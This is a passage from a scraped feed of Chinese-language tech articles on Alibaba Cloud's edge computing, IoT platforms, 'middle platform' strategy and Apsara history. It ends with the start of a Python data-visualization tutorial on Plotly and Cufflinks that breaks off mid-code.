        在未来,建立大规模分布式边缘算力融合调度平台,除了虚机,还会融合容器、函数、流式计算等计算形态,消除底层异构差异,无缝支持各类边缘资源,做规模覆盖的通用融合计算平台。

        相对于ENS 1.0蜕变

        与ENS1.0不同的是,2.0时代我们会打破割裂,让ENS数据和能力与用户的运维系统建立全方位的连接。通过API形式,把更多能力释放出来,让边缘计算应用变得更简单,平台去做底层的事情,用户的运维体系更轻量。实现一键部署、一键升级、一键扩缩容、报警自动响应,上下游互动保障运营体系的稳健性。在付费模式上做到更加灵活弹性,做到真正的轻资产运营,快速部署、按需付费、先用后付,不需要包年锁定资源。

        ENS 2.0的典型实践

        一、应用部署——秒级的全球分发

        之前用户普遍缺乏对遍布全国资源的统一部署能力,或者人肉方式效率低、标准性差,或者需要花大力气自建部署、发布系统。使用ENS 2.0的自定义镜像能力,只需要花一点时间完成自定义镜像的制作,剩下的全国范围资源下发和部署,ENS 2.0自动完成。

        二、弹性动态扩容

        之前用户使用IDC资源固定、想要扩容缩容,一般需要漫长的商务沟通和建设,现在ENS 2.0提供的弹性和API能力,让用户有能力随时根据业务情况自动扩缩容。

        在发布与升级环节,ENS 2.0提供用户业务灰度升级的能力,同时集成阿里云容器K8S,实现基于容器的发布、升级、管控。

        三、监控与报警运维

        ENS 2.0全方位监控边缘资源的运行状态、网络状态、设备状态,并通过大数据关联矫正实现实时、准确的预警,并通过API实时反馈用户,用户可以基于此实现自动运维、调度、管控等操作,显著降低人力精力消耗。

        ENS 2.0是业界首次实现大规模分布式边缘算力调度,通过按需按量、业务镜像化、监控平台化等特性,可以实现用户综合成本降低30%,运维效率提升50%。

        赋能、孵化边缘计算的海量场景

        目前在ENS的服务平台上,已经在实践承载大量CDN的边缘缓存、边缘调度、边缘分发业务,以及一大批直播平台的边缘收流、合流、互动、弹幕等业务。而现在火热的在线教育、智慧办公、智慧医疗等行业核心依赖的音视频通信技术,也因为其低时延、大连接、大带宽等需求特点,陆续成为使用ENS的重要场景。

        在分享的最后,杨敬宇说:“边缘计算是个非常大的领域,我们想通过5G的来临和边缘计算的发展,能够让产业互联网有更大的发展,让我们不曾想、未曾做的事情得以实现。阿里云会以开放、普惠、合作的理念,持续开拓面向未来的边缘服务,期待更多行业合作伙伴与阿里云同行。”


        ]]>
        一朝飞天梦,十年阿里云 Fri, 02 May 2025 09:39:04 +0800 马云曾说,未来不是我们这些互联网公司的天下,但也没有哪个企业能脱离互联网。

        通过长时间保持的快速增长,阿里云创造了一项记录,也收获了国内外云计算市场的领先地位。

        但是,从高盛预测的数据来看,企业云服务支出占总潜在IT支出的比例,将由2018年的9.5%增长到2021年的15.3%。尤其在中国市场,经济正处在从消费互联网冲击产业互联网的转型期,传统企业转型带来的增长机会空前。是拉开差距,还是被反超,在未来两年内都很容易实现。

        各行各业的传统企业,都迫切的需要更优越的IT基础设施,更强的互联网技术能力。而阿里巴巴在不久前的阿里云峰会上,提出要通过升级后的云智能平台解决这部分需求。

        阿里远早于其他互联网大厂打造的中台战略,沉淀下的技术能力,过去是阿里云成长的最佳伴侣,今后则将变成一张谁也没有的王牌。正如高盛分析师认为的那样,云计算未来的差异化服务将是只有最头部的玩家才有资格进行的牌局。

        阿里巴巴的选择,还是构架基础设施的基因,还是对外赋能的模式。但即使亚马逊阿里们穷尽数十年来积累的优势,依然不可能抹开每年几十亿美金规模的资本输出。毫无疑问这是一场豪赌,但没有玩家会弃权。

        借助这场云峰会,牌局之外的我们,也得以提前一窥阿里的手牌有何特性。


        高上限

        当IOE还是标准IT范式时,阿里已经撞到南墙了。电商业务飞速增长,但传统的IT基础设施想要跟上互联网的热情却捉襟见肘。

        更别提电商是最复杂的互联网业务了,交易、支付、商品、会员、购物车、物流等等,说得出的名词,都是一套复杂的系统。

        人类从来没有这么大规模的商品交易在网上进行,洪峰流量分分钟就能压倒传统的IT架构。但这事要是问别人,是没解的。因为当时的IT范式,还是把所有的负荷都累加在单一机器的性能上。

        没人给答案,就只能自己求解了。阿里开始用新的方式来组织计算能力,用一个自主研发的云计算操作系统,把服务器连成一张大网,这在技术上的名词是“分布式”,而那个云计算操作系统被命名为飞天。

        正式因为从开始就选择了自研,阿里云才得以拥抱“高上限”。世界上市场占有率前五的云服务商都是自研。只要是认真对待这个事情,都会投入核心的云操作系统研发。

        发展到今天,阿里巴巴有20亿电商产品,每天大概3亿人访问,需要生成无数的专属推荐和交易订单。这其中的数据处理需要两项基本功,处理海量数据的能力和实时处理数据的能力,或许可以理解为类似带宽和延迟的关系。

        诸如此类的能力,决定了阿里云超高的能力上限,自研系统的优势展露无遗。纵览全球,认真做云计算的企业,都会忍受着巨大的代价和痛苦,咬牙坚持着自主研发的阵营。至少从成绩上来看,全球前四的企业都在此列。

        低门槛

        阿里云对未来的展望,是成为“一个互联网技术武装起来的云”。

        同理,面向未来的下一代技术也一定是结合互联网技术,在云化IT基础设施上构建的。

        IT基础设施沿用多年的传统体系演变成云计算体系,企业采购的对象从“计算机”变成了“计算力”,同样配套适用的技术体系也面临着更新。朝下一代技术出发,工程师们逐渐向新领域转移,这是未来的必然趋势。

        未来还有一个趋势,之后十年是互联网的十年,但不是互联网企业的十年。马云自己也说,未来不是我们这些互联网公司的天下,但也没有哪个企业能脱离互联网。企业不论规模大小,都有相似的需求:数字化、互联网化。

        阿里云智能升级完成后的第一件事,将是将阿里巴巴的技术跟阿里云的技术完全拉通。阿里将以云智能平台为载体,通过对外输出20年来沉淀出的互联网技术,参与其中。此时的阿里云智能,最大的价值将是能帮助客户降低互联网化的技术门槛。

        将阿里巴巴整个集团的技术对外输出,固然有用集团内生技术寻求外在增长的商业诉求,但也的确起到了帮助传统企业降低转型门槛的作用。况且,要把技术从内部沉淀再向外输出,也并不是一件容易事。

        从独善其身到兼济天下,阿里一开始或许也并没有想过多少年后要成立一个云智能平台,把自家技术捏成一个个产品,向外输出。言必称平台,多半免不了失败,平台都是在沉淀核心能力时水到渠成出现的。在阿里,一切的起源还是电商。

        早期的阿里巴巴有三座电商大烟囱,淘宝天猫1688各自为政。许多同样的功能,都要在三个电商平台各建一次,资金投入和时间成本都大量重复。

        在成立阿里云的2009年,共享事业部同时诞生。淘宝和天猫虽然是两种电商模式,但都免不了商品、交易、评价、支付、物流这些功能,共享事业部的任务就是将两个平台中通用的业务功能沉淀,统一建设统一利用。

        到2015年,阿里组建中台。此时阿里旗下的业务早已不只是三座电商大烟囱,中台要沉淀是整个集团的数据运营能力、算法能力、调度能力等等。

        升级阿里云智能之后,中台战略的成果将通过平台延伸,向全社会开放,触达每一个行业。

        阿里内部有时会将中台沉淀出的各种能力看做积木,当商业要素的能力都被中台沉淀为一块块积木,有新的需求出现时,就可以按需对接快速响应。

        在升级后的阿里云智能平台上,抽象的积木将全部被做成实实在在的产品。阿里巴巴所用的技术,跟平台上提供的产品完全一样,客户在第一时间就可以用到跟阿里巴巴一模一样的底层。传统企业互联网化的技术门槛,也会无限降低。

        做基础

        升级之后的阿里云智能,有了中台和达摩院两大助力加持,把降低企业成本和满足企业计算需求这两件事,做到极致。

        先说成本。继IT设备采购成本后,企业所需的技术费用也将显著下降。在去年的一次被采访中,张建锋说,“如果阿里收购一家企业,原来这家企业的技术费用需要一个亿,并入阿里后,最多不会超过五千万”。在阿里对外技术输出后,这种成本压缩将不再是“内部权益”。

        再说到满足企业计算需求的能力,则更直观的刻在了阿里云智能平台这个名字上。

        数据并不是互联网企业的专利,传统的企业、业务一样有很多数据。只是互联网公司有先天的优势,能更好的收集并处理它,而传统企业并没有很好的能力去计算这些数据。如果能将这些数据完全利用起来,任何一家传统公司都能从过去的基于流程,变为基于智能。

        之前提过,阿里处理数据有两项绝活,海量和实时。这是因为阿里通过中台,沉淀了从数据的收集、处理、存储的一整套技术。而处理这些数据,也不再是单纯靠庞大的算力,而是在算力的基础上,运用智能化的算法协同处理。

        因此,张建锋在这次阿里云峰会上讲,阿里云更别的云大不相同,因为阿里的云上有数据化和智能化。过去,阿里云更专注IaaS层,承担着IT基础设施的角色;如今,阿里云智能还要做智能化的技术基础设施。

        无论是哪种基础设施,都与阿里巴巴坚持的商业愿景一致。 “让天下没有难做的生意”,阿里巴巴的基因,就是提供商业基础设施,以参与者的角度赋能行业。

        因为自主研发的关系,阿里云一路走来,始终处在遇到问题和解决问题的博弈中。因为没有同行者借鉴,栽了无数跟头才有了今天的规模。这些苦难和挫折,终将化作阿里云飞扬的羽翼,毕竟阿里试错越多,客户踩雷的几率就越小。

        如今,阿里已经有了“要在未来一到两年内,将阿里巴巴100%的业务跑到公共云上”的底气,也即将向社会输出新的商业基础设施,过去是电商,现在是云智能。但有一点没变,阿里的基因是为商业“做基础”,而不是掠食,也因此有了“被集成”的说法。

        被集成

        在张建锋最新的提法里,阿里云智能不是要做每一个行业的解决方案,而是成为每一个行业解决方案里的一部分,坚持“被集成”。

        不管是制造业、零售业,还是金融行业等都有自己的特殊情况,也因为各自独特的商业体系需要打磨不同的解决方案,任何一家企业想快速吃透都是不现实的。但是不管哪个行业,未来的解决方案里,一定会有数据化的理念,智能化的理念。

        张建锋指出,“阿里云自己不做SaaS,让大家来做更好的SaaS”。

        这也以意味着,阿里云正式划清了边界。SaaS由合作伙伴去做,阿里云只做最擅长的部分—基于技术的创新和突破,充当SaaS加速器。

        譬如,与埃森哲、毕马威等企业的合作,都是由阿里云带着合作伙伴,合作伙伴再带着自己的客户大家一起玩,共同探索行业升级。

        阿里云智能需要的核心竞争力,当然并不是一两句光鲜亮丽的口号,而是需要扎实构建和突破一切核心技术,诸如芯片、操作系统、网络等一切因素都要不断突破和创新。张建锋还有一个身份是阿里达摩院院长,而达摩院本身就是为阿里探索前沿技术储备的先锋军。

        最近两年,阿里云的市场依旧高速增长,而且在未来,“以退为进”的被集成战略还将为阿里云带来更多的合作伙伴,和更庞大的客户群体。

        但这还远远不够,被集成对阿里云提出了更高的要求、更大的挑战。阿里云只有不断坚持技术研发,不断通过中台沉淀更多产品、不断吸收达摩院的先进技术,才能被合作伙伴集成,一起赋能客户,探索各行各业。

        阿里云未来或许会涉猎更广,进入制造流通零售的每个领域,但数据化、智能化技术的核心地位永远不会动摇。

        市场研究机构IDC日前公布了2018年上半年全球公有云laaS(基础设施即服务)厂商市场份额数据,阿里云成功跻身前三。清场工作已完成,国际头部玩家未来将会面临更加激烈的直接竞争。

        阿里巴巴走到第二十个年头,已经成为了中国互联网界最难被颠覆的公司。

        归根结底的原因,还是在于阿里巴巴构建底层商业设施的能力。电商、物流、金融、云服务,阿里巴巴仿佛患上了构建基础设施的强迫症,也这种基因落实到了极致。

        阿里云过去的大本营在IaaS,但未来的核心竞争力,一定来源于自身差异化的基础能力,例如数据化智能化。借助云智能平台,阿里巴巴想对外输出的是整个集团改造IT基础设施的能力,互联网技术实力,和处理数据的智能化经验。

        这又是一片无人走过的荒原,阿里云甚至找不到同行者。但在互联网的世界里,不论地区和行业,凋零是永恒的话题,只有冒险家才配坐上最终的牌局。

        如果可以,谁都想成为通吃一切的那位赢家。

        ]]>
        阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台 Fri, 02 May 2025 09:39:04 +0800 据雷锋网了解,早在2018年3月阿里云栖大会深圳峰会上,阿里巴巴宣布IoT成为阿里继电商、金融、物流、云计算后的第五个主赛道。至此,物联网正式进入阿里的主赛道。

        在物联网专场上,首先上台的是阿里云IoT的掌舵人阿里云智能IoT事业部总经理库伟。

        “阿里云的物联网布局可以分为云、管、边、端,从南向开始,首先要通过芯片、模组进行打通,在端侧主要有嵌入式操作系统AIiOS Things和边缘计算Link IoT Edge。”库伟谈到。据雷锋网(公众号:雷锋网)了解,端侧升级也是此次物联网专场的重点。

        阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台

        针对当下云管边端的能力协同,库伟总结为:云上做训练,边缘侧做推理、分析,端侧做执行。

        在云侧,阿里云的核心是三个平台、两套体系。物联网平台是我们未来的核心基础设施,物联网平台未来将类似电网一样作为民生基础设施。

        六大平台公测、升级

        阿里云智能IoT产品总监张宗锋在大会针对视频边缘智能服务、智能单品免开发方案等6大产品3大场景应用,进一步完善了物联网基础设施的能力。

        首先是连接生产中的数据,其次要将连接的设备能力服务化,形成系统与系统之间、应用于应用之间的打通,最终通过智能化、通过机器完成相关工作任务。

        阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台

        因此,IoT的核心价值就是将生产力云化,即服务化、服务化和标准化。阿里云将会通过智能化编程接口的对外开放,与行业合作伙伴共同解决实际场景中的问题。

        目前,阿里云智能IoT已经拥有16万+开发者,10000+合作伙伴厂商,15000+应用以解决方案数,1300+对外开放的API。

        大会上张宗锋公布了相关平台及产品公测或升级,具体如下:

        物联网平台Link Platform虚拟专有云版邀测。该平台可以帮助B端用户快速搭建独立的专有云平台,最高支持5万设备量并发;

        物联网平台Link Platform数据分析服务公测发布。可以实现数据管理、数据跨域度分析和GIS/BIM可视化数据展现;

        一站式开发平台IoT Studio公测发布。由于物联网产品开发链路较长,阿里云提供一站式开发平台,集成阿里云市场2000+API可供用户调用;

        视频边缘智能服务Link Visual 2.0公测发布。阿里云这一平台为云边一体华视频接入和算法容器,支持GB、ONBIG主流协议和私有协议(定制);

        物联网网络管理平台LoRaWAN公测发布。对于认证过的设备厂商,只需要与阿里云云端打通、联调就可顺利实现,其他厂商也可以通过购买认证过的模组实现。据官方介绍,3个网关可以实现100平方公里,6万传感器的覆盖能力;

        智能生活平台3.0版发布。该版本只需要通过购买认证的模组,可以快速实现发布、复制和交付解决方案,实现免代码开发交付解决方案。

        阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台

        对于工厂改造而言,首先要带来订单或成本降低。

        针对于此,雷锋网也了解到,点石服装有限公司这样百人服装厂如今是支撑起电商订单的最主流的工厂单元,它们的订单有上千件的大单、也有十几件的小单,工厂的生产必须与生产供应链进行有效地匹配,及时完成电商的线上订单,才能为企业赢得更多商业机会。通过阿里云提供的数字工厂,结合非倾入式IoT设备和轻量化管理应用,对产线设备和管理流程几乎零修改的情况下,快速实现工厂的产能数字化,实现线上订单与线下生产的系统对接,极大提高了生产排产效率和订单完成率。

        视频边缘智能服务Link Visual 2.0

        在边缘计算领域,阿里云此次主要发布了Link Visual 2.0。

        阿里云方面表示,该产品即将于今年4月启动邀测,7月正式上线。据介绍,Link Visual自去年10月发布1.0,目前已有近百家摄像头厂家购买产品并开始服务对接工作,多家智能视频服务商也跟进推出了同类产品。

        此次发布的2.0版本,首次开放深度学习云边协同能力,形成了视频数据接入、调度,算法模型下发、算法容器、边缘推理、结果上云的闭环,打通从数据、模型、到应用的全链路。

        阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台

        据悉,Link Visual 2.0将为社区、楼宇、人居、工业和城市五大场景,面向服务方案厂商、设备厂商和算法厂商,提供物理网边缘计算场景提供多种智能射频解决方案。

        飞燕平台升级3.0,联合美的推出定制芯片及智能家电OS平台

        在2018年深圳云栖大会,阿里云发布了飞燕平台1.0,2018年5月发布飞燕平台2.0,建立3个全球数据中心,目前已经覆盖119品类、2000+SKU、1000+合作品牌。

        此次大会上,阿里云正式发布飞燕平台3.0。

        阿里云六大IoT相关平台公测、升级,联合美的推出定制芯片及智能家电OS平台

        据阿里云智能IoT生活产品总监陈明波介绍,“目前这一平台在云端可以为设备建立物模型,为B端用户建立多语言、云端API等配置能力。目前该平台已经接入天猫精灵,在国外接入亚马逊的Alexa和谷歌的智能语音助手,已经开始对接支付宝、钉钉等小程序。”

        另一重磅消息为:阿里云和美的集团宣布达成深度合作,双方联合推出定制芯片及智能家电OS平台。美的智能家电产品将适配AliOS Things的定制芯片,通过阿里云在操作系统及物联网生态的资源优势,进一步提高美的智能家电的用户体验和内容服务。

        双方此次首发的智能家电OS平台,是美的物联网操作系统SmartOS和阿里云物联网操作系统AliOS Things的深度融合。AliOS Things具备云端一体、极简开发、丰富组件、安全防护等关键能力。美的融合AliOS Things技术的智能家电OS平台,再搭配定制的智能芯片,可以实现企业更易开发、用户体验提升、生态内容共享的目标。

        阿里云联合芯片合作伙伴推出了两款家电行业定制智能芯片:一款是整合了WiFi和BLE的Combo芯片BK7231M,用以提高家电配网成功率;另一款是WiFi SoC芯片ASR5501M,通过高集成度降低硬件设计难度和成本。这两款芯片都已适配AliOS Things,并将逐步应用在后续双方合作的美的智能家电产品中。

        此外,阿里官方也表示,截至到今年3月份,搭载AliOS Things的芯片出货量已超过1亿片。

        ]]>
        阿里巴巴的“中台”长啥样? Fri, 02 May 2025 09:39:04 +0800 数据业务双中台

        提起中台,绕不开也是最先想到的应该都是阿里巴巴的数据业务双中台。毕竟阿里的“大中台小前台”战略人尽皆知,其威力也是显而易见的。

        以阿里这么大的体量,经过了这么多年的厮杀,在互联网快速迭代创新的竞争环境中,仍然可以保持快速迭代创新,上演了一场接一场现实版的大象跳舞,中台战略的成功居功至伟。

        摘自《企业核心业务数字化转型最佳实践》

        阿里的数据业务双中台堪称经典,上图摘取自钟华(古谦)于刚刚结束的2018云栖大会《企业核心业务数字化转型最佳实践》分享。

        从图中可见,阿里中台主要体现为由业务中台和数字中台并肩构成的双中台,并肩扛起了所有前台业务。

        业务中台将后台资源进行抽象包装整合,转化为前台友好的可重用共享的核心能力,实现了后端业务资源到前台易用能力的转化。

        数据中台从后台及业务中台将数据流入,完成海量数据的存储、计算、产品化包装过程,构成企业的核心数据能力,为前台基于数据的定制化创新和业务中台基于数据反馈的持续演进提供了强大支撑。

        业务中台与数据中台相辅相成、互相支撑,一起构建起了战场强大的后方炮火群和雷达阵。

        移动中台

        同样来自于2018年云栖大会杭州站,在移动研发平台EMAS专场上,阿里巴巴高级技术专家泠茗带来的分享中就为我们揭开了阿里移动中台的面纱。

        摘自《数字化转型 移动化先行 云栖大会上发布了哪些移动研发新利器》

        可见阿里的移动中台是构建在业务&数据中台之上,为更好更快地利用中台能力、快速迭代移动端产品,又生生地挤出(或是说沉淀)出了一个新的中台层。

        移动中台建立在业务数据双中台之上,更靠近移动前端战场,我们可以类比成战场上的坦克群,近距离支撑一线战场。

        技术中台

        大中台小前台,并不代表前台不重要,相反,大中台的建设就是为了更好地服务好小前台,大中台的威力也需要靠小前台的引导才能真正发挥和体现出来。

        就像是深入敌后的前台特种部队如果定位不到敌人的精确位置,就算有再强大的水陆空中台炮火群,也只是一群废铁而已。

        大中台小前台战略,其实是给小前台的构建提出了更高的要求,就像我们对于特种兵的要求也比一般的士兵高出很多一样。

        如何快速构建出短小精悍、武器精良、战斗力十足的特种兵前台应用,充分发挥和释放出中台炮火群的威力,就需要依靠这里提到的技术中台。

        摘自《阿里技术手册-研发篇》

        技术中台就是将使用云或其他基础设施的能力以及应用各种技术中间件的能力进行整合和包装。过滤掉技术细节,提供简单一致、易于使用的应用技术基础设施的能力接口,助力前台和业务中台数据中台的快速建设。

        如果将业务数据双中台比喻成强大的中台炮火群,可以直接对敌人进行进攻。那技术中台的作用就有些间接,有点像前台特种兵身上各种先进的武器装备。精良易用的武器装备,可以在大幅缩短前台特种兵的建设周期的同时大幅提高单兵作战能力,令敌人胆寒。

        研发中台

        软件开发是一项工程,涉及到管理、流程、测试、团队协作等方面。如何将企业的开发流程最佳实践沉淀成可重用的“能力”,从而助力创新性应用的快速开发迭代,也是我们看到的很多企业正在做的事情,我们可以管这种关注与开发效能管理的平台叫做研发中台。

        如果说技术中台为前台应用提供了基础设施重用的能力,那研发中台就为前台应用提供了流程和质量管控以及持续交付的能力。

        摘自《阿里技术手册-研发篇》

        上图摘自阿里的技术手册,展示了阿里的效能事业部一直致力于构建的阿里研发效能平台,有兴趣的同学可以去了解一下阿里自家的云效平台。

        ThoughtWorks帮助客户打造的DevOps云平台

        ThoughtWorks在敏捷与开发效能方面一直走在行业领先,持续总结过去的经验,并基于客户自身的需求和实际情况、结合最新的技术,与客户一起携手成功打造了多个定制化的开发效能平台。

        总之,开发效能是构建前中台应用过程中必不可少的重要一环。这方面的实践和能力通过沉淀,结合快速开发框架平台,例如微服务开发平台,就形成了企业的研发中台。

        如果将技术中台比喻成前台特种兵的武器装备,那效能中台就是前台特种兵的管理训练基地以及可以快速将战士运送到一线战场的机动运输部队。

        组织中台

        以上无论是业务中台、数据中台、技术中台、研发中台……都是围绕技术展开的,也是企业在中台建设中最关注的方面。

        但真正实际经历过几次企业级中台的建设后,我深刻地体会到:围绕技术展开并不是基于在中台构建中技术的重要性,而是因为技术的改进相对简单。

        而中台建设真正困难的是组织上的重构,这往往是大家有意无意避而不谈的。

        中台战略的成功、能否实现技术架构与组织架构的匹配,是一道绕不过去、但必须要迈过的门槛。从阿里成立共享事业部,海尔的人单合一、职能并联,到近期大家关注的腾讯的组织架构重构都是这些企业在这方面做出的努力。

        举个实际的例子,在很多企业中一个新项目的启动,从筹划到申请经过层层审批和评审短则一两月,多则需要几个月的时间。要知道在当前所处的互联网时代,几个月人家App都上线了。

        摘自《释放潜能-平台型组织的进化路线图》

        为了真正解决企业创新在组织层面的摩擦和阻力,构建真正的平台型组织,《释放潜能——平台型组织的进化路线图》提出了上图这样一个平台型组织的组织结构。

        组织中台很像企业中的内部风投和创新孵化机构,为前台组织和团队构建创新型前台应用提供类似于投资评估(项目甄别)、投资管理、投后管理(孵化与风控),真正从组织和制度上支撑前台组织和应用的快速迭代规模化创新。

        知易行难,ThoughtWorks在科技时代精益企业背景下提出的“价值驱动决策”框架并用“EDGE”命名,主要针对如何在市场高速变化时保证投资有效性,即致力于帮助客户在组织上和投资管理上真正的助力创新,也算是在组织中台建设上迈出的一步。

        如果还用前边军队的比喻,那组织中台是什么呢?可能你已经想到了,对,就是战场指挥部。

        到底中台长啥样?

        列举了这么多各式各样的中台,最后都扯到了组织层面,是不是感觉什么东西加个“中台”的后缀都可以靠到中台上来,估计很快就会看到例如AI中台,VR中台,搜索中台,算法中台……对了,算法中台已经有了……

        让我们引用一段阿里玄难在接受极客公园采访时提到对于中台的一段我非常认同的描述:

        本文中我们一直提到的一个词就是“能力”,从玄难的这段采访也可以看出,在阿里,“能力”也是中台的核心。

        甄别是不是中台,还要回到中台要解决的问题上,那是我上篇文章主要关注的问题。我认为一切以“以用户为中心的持续规模化创新”为目的,将后台各式各样的资源转化为前台易于使用的能力,帮助我们打赢这场以用户为中心的战争的平台,我们都可以称之为中台:

        1,业务中台提供重用服务,例如用户中心,订单中心之类的开箱即用可重用能力,为战场提供了强大的后台炮火支援能力,随叫随到,威力强大;

        2,数据中台提供了数据分析能力,帮助我们从数据中学习改进,调整方向,为战场提供了强大及时的雷达监测能力,帮助我们掌控战场;

        3,移动及算法中台提供了战场一线火力支援能力,帮助我们提供更加个性化的服务,增强用户体验,为战场提供了陆军支援能力,随机应变,所向披靡;

        4,技术中台提供了自建系统部分的技术支撑能力,帮助我们解决了基础设施,分布式数据库等底层技术问题,为前台特种兵提供了精良的武器装备;

        5,研发中台提供了自建系统部分的管理和技术实践支撑能力,帮助我们快速搭建项目,管理进度,测试,持续集成,持续交付,是前台特种兵的训练基地及快速送达战场的机动运输部队;

        6,组织中台为我们的项目提供投资管理、风险管理、资源调度等,是战场的指挥部,战争的大脑,指挥前线,调度后方。

        所以,评判一个平台是否称得上中台,最终评判标准不是技术也不是长什么模样,最终还是得前台说了算,毕竟前台才是战争的关键,才是感受得到战场的残酷、看得见用户的那部分人。

        中台好不好用,中台帮了前台多大的忙,前台想不想用、爱不爱用中台,从中台获得了多大的好处,愿意掏出多少利润来帮助建设中台,这才是甄别中台建设对错好坏的唯一标准。

        对于中台来讲,前台就是用户,以用户为中心,在中台同样适用。

        ]]>
        十年再出发,阿里云即将开启第二次远征——云智能 Fri, 02 May 2025 09:39:04 +0800 2009年, 阿里 云成立,10年后的今天,云计算已经像水、电和燃气一样,成为社会运转的基础设施。作为国内云计算的开拓者, 阿里 云已经成长为全球前三、中国第一的云计算领跑者。

        阿里 云的发展脉络并不复杂,主线是自主研发服务全球的超大规模通用计算系统“飞天(Apsara)”及推进其落地应用。有个说法,飞天的历史就是一部 阿里 云的历史,也是中国云计算的历史。

        如今,飞天遍布全球200多个国家,服务用户数量高达230多万。它能将全球范围内的数百万台服务器连成一台超级计算机,单集群可达1万台规模,10万个进程达毫秒级响应,十亿级文件数,EB级别存储空间。

        飞天不仅奠定了 阿里 云的产业地位,还实现了云计算操作系统真正的自主可控和国产化。2018年1月,飞天获得了中国电子学会颁发的15年来首个科学进步特等奖。

        能承受多大委屈和苦难,才能承载多大的光辉和荣耀。事实上, 阿里 云的发展历经失落、低谷,也曾饱受质疑,但时间证明了 阿里 云的远见和努力。

        使命驱动下诞生

        飞天是在使命的驱动下诞生的。2007年, 阿里 明显感受到“脑力”不够用了。面对如此严峻的技术瓶颈,急需搭建起全新的技术架构。对此,2008年, 阿里 确定“云计算”战略。

        另外一个使命来自 马云 的发愿。据 阿里巴巴 集团学术委员会主席曾鸣回忆, 马云 在内部讲过,他不懂技术,但是,他知道一点,云计算可以极大降低小企业利用新技术的难度,是非常有价值的一件事,我们一定要做。

        2009年, 阿里 云成立,开启了研发云计算的里程。

        “牧羊犬”迈出第一步

        时间到了2010年4月, 阿里 金融订单贷款产品“牧羊犬”踏出第一步,成功在飞天平台上线。这在技术业内俗称为:“吃自己的狗粮”。意思是,为客户提供服务之前自己要验证一遍。

        当时研发工程师回忆:当时 阿里 云一边在搭建“飞天(Apsara)”平台,我们一边在“飞天”上面开发应用。这就像是开发商一边在造房子,我们一边在室内装修铺地板。

        云计算元年

        2012年, 阿里 云干了两件大事。6月8日, 阿里 云开始全程支持了央视对欧洲杯24场赛事的直播,前后历时3个月。这是 阿里 云飞天第一次把产品以一个整体解决方案的形式对外提供。

        11月9日, 阿里 云开发者大会首次以独立品牌名亮相,大会首次全面展示了 阿里 云飞天开放平台上的众多云计算服务,让国内用户第一次全面接触和体会到云计算服务。借此, 阿里 云首先定义了国内的云计算服务。

        截止2012年11月,已有数万个网站、游戏和应用聚集在 阿里 云平台,每天可支持上亿用户直接或间接访问。看到 阿里 云着着实实的作为,人们认识到,云计算已经不再是一个虚幻的事物。也是从这一年开始,Ucloud、青云、金山云也相继成立,因此,2012年被看作中国云计算的元年。

        5K的里程碑

        2013年, 阿里 云实现了真正意义上的蜕变。

        8月,新的基于飞天5K的ODPS(现为MaxCompute)生产集群规模达到5000,而且实现了跨机房,并经受了整机房断电的严苛考验。毋庸置疑,飞天5K的成功是 阿里 云乃至 阿里巴巴 历史上重要的里程碑。

        也是在2013年以后, 阿里 云驶上发展快的车道。

        AI时代新征程

        随着云计算、人工智能、量子计算等新技术的发展,以及社会经济数字化转型的需求, 阿里 云也在积极推动云计算的演进,先后推出神龙云服务器、POLARDB、城市大脑等自研产品,而这背后的支撑就是飞天。

        2016年4月, 阿里 云正式宣布推出人工智能ET。10月,在杭州的云栖大会上, 马云 指出,以飞天为代表的云计算将是推动新零售、新制造、新金融、新技术和新能源的核心动力。

        也是在这次大会上, 阿里 云联手杭州发布城市大脑,这是飞天产业化升级的重要标志。

        2017年10月,专注研发基础技术的 阿里巴巴 成立达摩院,当月, 阿里 云推出神龙云服务器,打破了虚拟机和物理机的边界。

        纵观 阿里 云连年来的大动作,不难发现,其正在向云智能加速迈进。而此次峰会正是 阿里 云智能的一次集中亮相。对 阿里 云而言,云智能战略的推进,无异于第二次远征。

        对此,我们拭目以待。

        ]]>
        从青铜到王者,进阶数据可视化2.0的五个Python库! Fri, 02 May 2025 09:39:04 +0800

        源 /程序君 文 /A九离


        数据可视化的工具和程序库已经极大丰盛,当你习惯其中一种或数种时,你会干得很出色,但是如果你因此而沾沾自喜,就会错失从青铜到王者的新工具和程序库。如果你仍然坚持使用Matplotlib(这太神奇了),Seaborn(这也很神奇),Pandas(基本,简单的可视化)和Bokeh,那么你真的需要停下来了解一下新事物了。例如,python中有许多令人惊叹的可视化库,而且通用化程度已经很高,例如下面这五个:

        Plotly

        Cufflinks

        Folium

        Altair + Vega

        D3.js(个人认为最好的选择,因为我也用JS写代码)

        如果您了解并使用上面提到的库,那么您就处于进化的正确轨道上。它们可以帮助生成一些令人拍案的可视化效果,语法也不难。一般来说,我更喜欢Plotly+Cufflinks和D3.js.以下详细道来:

        Plotly

        Plotly是一个开源,交互式和基于浏览器的Python图形库。可以创建能在仪表板或网站中使用的交互式图表(您可以将它们保存为html文件或静态图像)。Plotly基于plotly.js,而plotly.js又基于D3.js,因此它是一个高级图表库,与Bokeh一样,Plotly的 强项是制作交互式图 ,有超过30种图表类型, 提供了一些在大多数库中没有的图表 ,如等高线图、树状图、科学图表、统计图表、3D图表、金融图表等。 plotly最棒的一点是可以在Jupyter笔记本或独立的HTML页面中使用 。您也可以在他们的网站上在线使用它,但我更喜欢离线使用它,您也可以将可视化保存为图像,非常易于使用也非常实用。

        – 在Jupyter Notebook中使用Plotly的方法(离线)

        首先,安装plotly库。

        pipinstallplotly

        然后打开jupyter笔记本并键入:

        fromplotlyimport__version__
        fromplotly.offlineimportdownload_plotlyjs,init_notebook_mode,plot,iplot
        init_notebook_mode(connected=True)

        语法超简单!在Pandas中,你使用dataframe.plot(),在这里,您使用dataframe.iplot()。这个“i”改变了可视化的整个定义。

        只需一行代码,我生成了下面这个散点图。您可以根据需要自定义它。请记住指定模式标记,否则您将获得一些线条。

        请注意,随着数据的增加,plotly会开始卡滞。所以,只有当数据点的小于500K时,我才会使用plotly。

        Cufflinks

        Cufflinks将Plotly直接绑定到pandas数据帧。这种组合非常惊人,结合了Pandas的灵活性,比Plotly更有效,语法甚至比plotly简单。使用plotly的Python库,您可以使用DataFrame的系列和索引来描述图形,但是使用Cufflinks可以直接绘制它。正如下面这个例子:

        df=cf.datagen.lines()
        py.iplot([{
        'x':df.index,
        'y':df[col],
        'name':col
